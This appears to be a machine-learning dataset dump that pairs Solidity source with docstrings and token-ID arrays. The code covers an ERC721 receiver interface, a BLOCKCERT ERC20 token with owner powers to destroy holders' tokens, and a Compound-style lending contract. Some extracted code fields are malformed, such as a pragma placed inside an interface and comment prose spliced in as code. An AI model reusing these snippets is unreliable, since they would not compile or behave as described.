6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
31,
203,
3639,
324,
26488,
63,
20,
92,
29,
38,
24,
72,
5292,
73,
42,
71,
42,
28,
449,
71,
25,
6030,
1105,
37,
6564,
7140,
6334,
6743,
6743,
20,
27263,
5520,
40,
8942,
39,
25,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
374,
92,
29,
38,
24,
72,
5292,
73,
42,
71,
42,
28,
449,
71,
25,
6030,
1105,
37,
6564,
7140,
6334,
6743,
6743,
20,
27263,
5520,
40,
8942,
39,
25,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
3849,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
3849,
1476,
2
]
|
//SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
} | @notice A generic interface for a contract which properly accepts ERC721 tokens. @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol) | interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
pragma solidity 0.8.12;
} | 979,701 | [
1,
37,
5210,
1560,
364,
279,
6835,
1492,
8214,
8104,
4232,
39,
27,
5340,
2430,
18,
225,
348,
355,
81,
340,
261,
4528,
2207,
6662,
18,
832,
19,
54,
12954,
17,
4664,
7053,
19,
18281,
81,
340,
19,
10721,
19,
5254,
19,
4816,
19,
7860,
19,
654,
39,
27,
5340,
18,
18281,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
4232,
39,
27,
5340,
1345,
12952,
288,
203,
565,
445,
603,
654,
39,
27,
5340,
8872,
12,
203,
3639,
1758,
3726,
16,
203,
3639,
1758,
628,
16,
203,
3639,
2254,
5034,
612,
16,
203,
3639,
1731,
745,
892,
501,
203,
565,
262,
3903,
1135,
261,
3890,
24,
1769,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2138,
31,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
import './Utils.sol';
import './IERC20Token.sol';
import './Owned.sol';
/**
ERC20 Standard Token implementation
*/
contract BlockcertToken is IERC20Token, Owned, Utils {
string public standard = 'Token 0.1';
string public name = 'BLOCKCERT';
string public symbol = 'BCERT';
uint8 public decimals = 0;
uint256 public totalSupply = 2100000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Convert(address indexed _from, address indexed _blockcertsAddress, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
@dev constructor
@param _presalePool Presale Pool address
@param _CCTPool CCT Pool address
@param _BCIDeveloperPool BCI Developer pool address
@param _TreasuryPool Treasury pool address
*/
constructor (address _presalePool, address _CCTPool, address _BCIDeveloperPool, address _TreasuryPool)
public
validAddress(_presalePool)
validAddress(_CCTPool)
validAddress(_BCIDeveloperPool)
validAddress(_TreasuryPool)
{
uint presalePoolBalance = 100000000;
uint publicSalePoolBalance = 430860000;
uint cctPoolBalance = 410000000;
uint bciDeveloperPoolBalance = 300000000;
uint treasuryPoolBalance = 859140000;
balanceOf[msg.sender] = publicSalePoolBalance;
emit Transfer(this, msg.sender, publicSalePoolBalance);
balanceOf[_presalePool] = presalePoolBalance;
emit Transfer(this, _presalePool, presalePoolBalance);
balanceOf[_CCTPool] = cctPoolBalance;
emit Transfer(this, _CCTPool, cctPoolBalance);
balanceOf[_BCIDeveloperPool] = bciDeveloperPoolBalance;
emit Transfer(this, _BCIDeveloperPool, bciDeveloperPoolBalance);
balanceOf[_TreasuryPool] = treasuryPoolBalance;
emit Transfer(this, _TreasuryPool, treasuryPoolBalance);
}
/**
@dev send coins
throws on any error rather then return a false flag to minimize user errors
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
validAddress(_to)
returns (bool success)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
@dev an account/contract attempts to get the coins
throws on any error rather then return a false flag to minimize user errors
@param _from source address
@param _to target address
@param _value transfer amount
@return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
validAddress(_from)
validAddress(_to)
returns (bool success)
{
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
@dev allow another account/contract to spend some tokens on your behalf
throws on any error rather then return a false flag to minimize user errors
also, to minimize the risk of the approve/transferFrom attack vector
(see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice
in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value
@param _spender approved address
@param _value allowance amount
@return true if the approval was successful, false if it wasn't
*/
function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
// if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner);
// validate input
balanceOf[_from] = safeSub(balanceOf[_from], _amount);
totalSupply = safeSub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
}
/**
@dev converting tokens from the ethereum network to the blockcerts network by token holder
@param _blockcertsAddress blockcerts network account to which funds must be transferred
@param _amount convert amount
*/
function convert(address _blockcertsAddress, uint256 _amount) public returns (bool success) {
return _convert(msg.sender, _blockcertsAddress, _amount);
}
/**
@dev converting tokens from the ethereum network any account to the blockcerts network by contract owner
@param _from account to convert the amount from
@param _blockcertsAddress blockcerts network account to which funds must be transferred
@param _amount convert amount
*/
function convertFrom(address _from, address _blockcertsAddress, uint256 _amount) public returns (bool success) {
require(msg.sender == owner || _from == msg.sender);
return _convert(_from, _blockcertsAddress, _amount);
}
/**
@dev converting tokens from the blockcert network any account to the ethereum network by contract owner
@param _to token receiver
@param _amount convert amount
*/
function mint(address _to, uint256 _amount) public ownerOnly returns (bool success) {
balanceOf[_to] = safeAdd(balanceOf[_to], _amount);
balanceOf[this] = safeSub(balanceOf[this], _amount);
emit Transfer(this, _to, _amount);
// totalSupply = safeAdd(totalSupply, _amount);
return true;
}
/**
@dev converting tokens from the ethereum network to the blockcerts network by contract owner
@param _from account to convert the amount from
@param _blockcertsAddress blockcerts network account to which funds must be transferred
@param _amount convert amount
*/
function _convert(address _from, address _blockcertsAddress, uint256 _amount)
private
validAddress(_from)
validAddress(_blockcertsAddress)
returns (bool success)
{
balanceOf[_from] = safeSub(balanceOf[_from], _amount);
balanceOf[this] = safeAdd(balanceOf[this], _amount);
emit Transfer(_from, this, _amount);
emit Convert(_from, _blockcertsAddress, _amount);
// totalSupply = safeSub(totalSupply, _amount);
return true;
}
} | / if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal | function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
| 5,740,098 | [
1,
19,
309,
326,
1699,
1359,
5177,
1404,
374,
16,
518,
848,
1338,
506,
3526,
358,
374,
358,
5309,
392,
1699,
1359,
2549,
7636,
1839,
598,
9446,
287,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
13,
203,
202,
482,
203,
202,
877,
1887,
24899,
87,
1302,
264,
13,
203,
202,
6154,
261,
6430,
2216,
13,
203,
202,
95,
203,
202,
202,
6528,
24899,
1132,
422,
374,
747,
1699,
1359,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
422,
374,
1769,
203,
203,
202,
202,
5965,
1359,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
273,
389,
1132,
31,
203,
3639,
3626,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
1132,
1769,
203,
202,
202,
2463,
638,
31,
203,
202,
97,
203,
203,
202,
202,
4169,
506,
2566,
635,
326,
6835,
3410,
358,
5546,
2430,
628,
1281,
2236,
578,
635,
1281,
10438,
358,
5546,
2430,
628,
18423,
19,
1614,
4953,
2236,
203,
203,
202,
202,
36,
891,
389,
2080,
4202,
2236,
358,
1206,
326,
3844,
628,
203,
202,
202,
36,
891,
389,
8949,
377,
3844,
358,
20467,
326,
14467,
635,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.5.6;
// Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CToken.sol
import "./ControllerInterface.sol";
import "./DTokenInterface.sol";
import "./InterestRateModel.sol";
import "./Error.sol";
import "./IERC20.sol";
import "../common/Exponential.sol";
import "../common/upgradeable/Initializable.sol";
contract DToken is Initializable, DTokenInterface, Exponential, TokenErrorReporter {
using MySafeMath for uint;
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountBalancesNew;
uint actualMintAmount;
uint supplyPrincipalNew;
}
function initialize(ControllerInterface controller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, bytes32 underlyingSymbol_, uint8 decimals_) public initializer {
require(msg.sender == admin, "E1");
require(accrualBlockNumber == 0 && borrowIndex == 0, "E2");
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "E3");
controller = controller_;
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
uint err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "E4");
name = name_;
symbol = symbol_;
underlyingSymbol = underlyingSymbol_;
decimals = decimals_;
_notEntered = true;
}
function setAdmin(address payable newAdmin_) external {
require(msg.sender == admin, 'E1');
admin = newAdmin_;
emit NewAdmin(admin);
}
function exchangeRateCurrent() public nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
return exchangeRateStored();
}
function exchangeRateStored() public view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "E68");
return result;
}
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
function borrow(uint borrowAmount) external returns (uint) {
return borrowInternal(borrowAmount);
}
function balanceOf(address owner) external view returns (uint256) {
return accountBalances[owner];
}
function balanceOfUnderlying(address owner) external returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountBalances[owner]);
require(mErr == MathError.NO_ERROR, "E69");
return balance;
}
function transferTokens(address spender, address src, address dst, uint amount) internal returns (uint) {
uint allowed = controller.transferAllowed(address(this), src, dst, amount);
if (allowed != 0) {
return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.TRANSFER_CONTROLLER_REJECTION, allowed);
}
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, amount);
require(mathErr == MathError.NO_ERROR, "E70");
(mathErr, srcTokensNew) = subUInt(accountBalances[src], amount);
require(mathErr == MathError.NO_ERROR, "E71");
(mathErr, dstTokensNew) = addUInt(accountBalances[dst], amount);
require(mathErr == MathError.NO_ERROR, "E72");
accountBalances[src] = srcTokensNew;
accountBalances[dst] = dstTokensNew;
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
emit Transfer(src, dst, amount);
return uint(Error.NO_ERROR);
}
function transfer(address recipient, uint amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, recipient, amount) == uint(Error.NO_ERROR);
}
function transferFrom(address sender, address recipient, uint amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, sender, recipient, amount) == uint(Error.NO_ERROR);
}
function mintFresh(address minter, uint mintAmount) internal nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
uint allowed = controller.mintAllowed(address(this), minter);
require(allowed == 0, "E10");
require(accrualBlockNumber == getBlockNumber(), "E18");
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
require(vars.mathErr == MathError.NO_ERROR, "E12");
vars.actualMintAmount = doTransferIn(minter, mintAmount);
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "E13");
{
(vars.mathErr, vars.supplyPrincipalNew) = addUInt(supplyPrincipal[minter], vars.actualMintAmount);
require(vars.mathErr == MathError.NO_ERROR, "E16");
supplyPrincipal[minter] = vars.supplyPrincipalNew;
}
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "E14");
(vars.mathErr, vars.accountBalancesNew) = addUInt(accountBalances[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "E15");
totalSupply = vars.totalSupplyNew;
accountBalances[minter] = vars.accountBalancesNew;
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
return vars.actualMintAmount;
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint allowed;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountBalancesNew;
uint supplyPrincipalNew;
uint incomeUnderlying;
uint redeemGap;
uint balanceOfUnderlying;
uint actualRedeemAmount;
}
function redeemUnderlying(uint redeemUnderlyingAmount) external returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
require(accrualBlockNumber == getBlockNumber(), "E33");
return redeemFresh(msg.sender, redeemUnderlyingAmount);
}
function redeemUnderlyingMax() external returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
require(accrualBlockNumber == getBlockNumber(), "E33");
(, uint result) = borrowBalanceStoredInternal(msg.sender);
if (result == 0) {
uint exited = controller.exitMarket(msg.sender);
require(exited == uint(Error.NO_ERROR), "E73");
}
return redeemFresh(msg.sender, uint(-1));
}
function redeemFresh(address payable redeemer, uint redeemUnderlyingIn) internal nonReentrant returns (uint) {
require(redeemUnderlyingIn != 0, "E34");
RedeemLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
require(vars.mathErr == MathError.NO_ERROR, "E35");
(MathError mErr, uint currentBalanceOfUnderlying) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), accountBalances[redeemer]);
require(mErr == MathError.NO_ERROR, "E36");
/* If redeemUnderlyingIn == -1, redeemAmount = balanceOfUnderlying */
if (redeemUnderlyingIn == uint(-1)) {
vars.redeemAmount = currentBalanceOfUnderlying;
vars.redeemTokens = accountBalances[redeemer];
} else {
vars.redeemAmount = redeemUnderlyingIn;
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(vars.redeemAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "E37");
}
{
if (currentBalanceOfUnderlying > supplyPrincipal[redeemer]) {
(vars.mathErr, vars.incomeUnderlying) = subUInt(currentBalanceOfUnderlying, supplyPrincipal[redeemer]);
require(vars.mathErr == MathError.NO_ERROR, "E38");
} else {
vars.incomeUnderlying = 0;
}
if (vars.redeemAmount >= vars.incomeUnderlying) {
(vars.mathErr, vars.redeemGap) = subUInt(vars.redeemAmount, vars.incomeUnderlying);
(vars.mathErr, vars.supplyPrincipalNew) = subUInt(supplyPrincipal[redeemer], vars.redeemGap);
require(vars.mathErr == MathError.NO_ERROR, "E39");
supplyPrincipal[redeemer] = vars.supplyPrincipalNew;
}
}
vars.allowed = controller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
require(vars.allowed == 0, "E40");
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
require(vars.mathErr == MathError.NO_ERROR, "E41");
(vars.mathErr, vars.accountBalancesNew) = subUInt(accountBalances[redeemer], vars.redeemTokens);
require(vars.mathErr == MathError.NO_ERROR, "E42");
require(getCashPrior() >= vars.redeemAmount, "E43");
vars.actualRedeemAmount = doTransferOut(redeemer, vars.redeemAmount);
emit Transfer(redeemer, address(this), vars.redeemTokens);
totalSupply = vars.totalSupplyNew;
accountBalances[redeemer] = vars.accountBalancesNew;
emit Redeem(redeemer, vars.actualRedeemAmount);
controller.redeemVerify(vars.actualRedeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
return borrowFresh(msg.sender, borrowAmount);
}
function totalBorrowsCurrent() external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
return totalBorrows;
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualBorrowAmount;
uint borrowPrincipalNew;
}
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
uint allowed = controller.borrowAllowed(address(this), borrower, borrowAmount);
require(allowed == 0, "E21");
require(accrualBlockNumber == getBlockNumber(), "E22");
require(getCashPrior() >= borrowAmount, "E23");
BorrowLocalVars memory vars;
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
require(vars.mathErr == MathError.NO_ERROR, "E24");
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
require(vars.mathErr == MathError.NO_ERROR, "E25");
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
require(vars.mathErr == MathError.NO_ERROR, "E26");
vars.actualBorrowAmount = doTransferOut(borrower, borrowAmount);
vars.borrowPrincipalNew;
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
(vars.mathErr, vars.borrowPrincipalNew) = addUInt(borrowPrincipal[borrower], vars.actualBorrowAmount);
require(vars.mathErr == MathError.NO_ERROR, "E27");
borrowPrincipal[borrower] = vars.borrowPrincipalNew;
emit Borrow(borrower, vars.actualBorrowAmount);
emit Transfer(address(this), borrower, vars.actualBorrowAmount);
return uint(Error.NO_ERROR);
}
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
uint allowed = controller.repayBorrowAllowed(address(this), borrower);
require(accrualBlockNumber == getBlockNumber(), "E28");
require(allowed == 0, "E29");
RepayBorrowLocalVars memory vars;
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
require(vars.mathErr == MathError.NO_ERROR, "E30");
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "E31");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "E32");
borrowPrincipal[borrower] = vars.accountBorrowsNew;
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
if (repayAmount == uint(-1)) {
if (accountBalances[borrower] == 0) {
uint exited = controller.exitMarket(msg.sender);
require(exited == uint(Error.NO_ERROR), "E73");
}
}
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
function approve(address spender, uint256 amount) external returns (bool) {
address sender = msg.sender;
transferAllowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
function getBlockNumber() internal view returns (uint) {
return block.number;
}
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
uint dTokenBalance = accountBalances[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), dTokenBalance, borrowBalance, exchangeRateMantissa);
}
function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "E5");
return borrowBalanceStored(account);
}
function borrowBalanceStored(address account) public view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "E74");
return result;
}
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
MathError mathErr;
uint principalTimesIndex;
uint result;
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
function borrowRatePerBlock() external view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
uint error = accrueInterest();
require(error == uint(Error.NO_ERROR), "E5");
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
require(msg.sender == admin, "E1");
